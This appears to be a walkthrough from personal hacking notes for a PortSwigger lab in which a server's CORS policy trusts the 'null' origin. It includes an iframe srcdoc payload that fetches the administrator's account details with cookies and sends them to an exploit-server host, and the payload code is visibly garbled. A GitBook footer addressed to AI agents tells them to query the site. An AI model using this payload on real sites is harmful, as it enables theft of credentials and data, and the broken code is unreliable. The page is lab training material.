> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/cors/cors-null-origin-trusted.md).

# CORS Null Origin Trusted

CORS Null Origin Trusted notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### CORS Vulnerability with Trusted Null Origin

Exploit a vulnerable CORS configuration that trusts the original `"null"`. The objective of the lab is to retrieve the API key from the administrator via a CORS query (with `credentials`) and upload the code to the exploit server. The lab is resolved when the administrator's API key is successfully submitted.

* The server returns `Access-Control-Allow-Credentials: true`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6daa0d16475bdf4c8bbdd18924f3d52234a1d8b%2F%7BF14DF671-1D17-46A2-AB9F-F3A775778B8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

When the `Origin: jord4n.pro` header is sent, the domain is not reflected.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-813478c976322b082d052040566b5136fa2811a7%2F%7BCF9635A6-38F2-45F1-A377-3B6F8EF364F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

However, when sending `Origin: null`, the response accepts and reflects this value.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8aa4106218966391d71858d2b4a32d185d590c8%2F%7B089F3980-7237-4145-B15D-BE7AAE033760%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Force a request from a page of `null` origin (e.g. via `iframe` using `srcdoc`) so that the CORS response considers the origin to be trustworthy and returns the data (with cookies using `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a60de0d9836b763ad148cabe1679af6794d666c2%2F%7BCD4C44D4-A7FB-476E-B5B0-8E288F1E9EBE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> Note: the principle is to execute this code from `null` origin (iframe `srcdoc`) so that the CORS response, which accepts `null`, returns sensitive data including cookies.

The recovered key, decoded from Base64:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
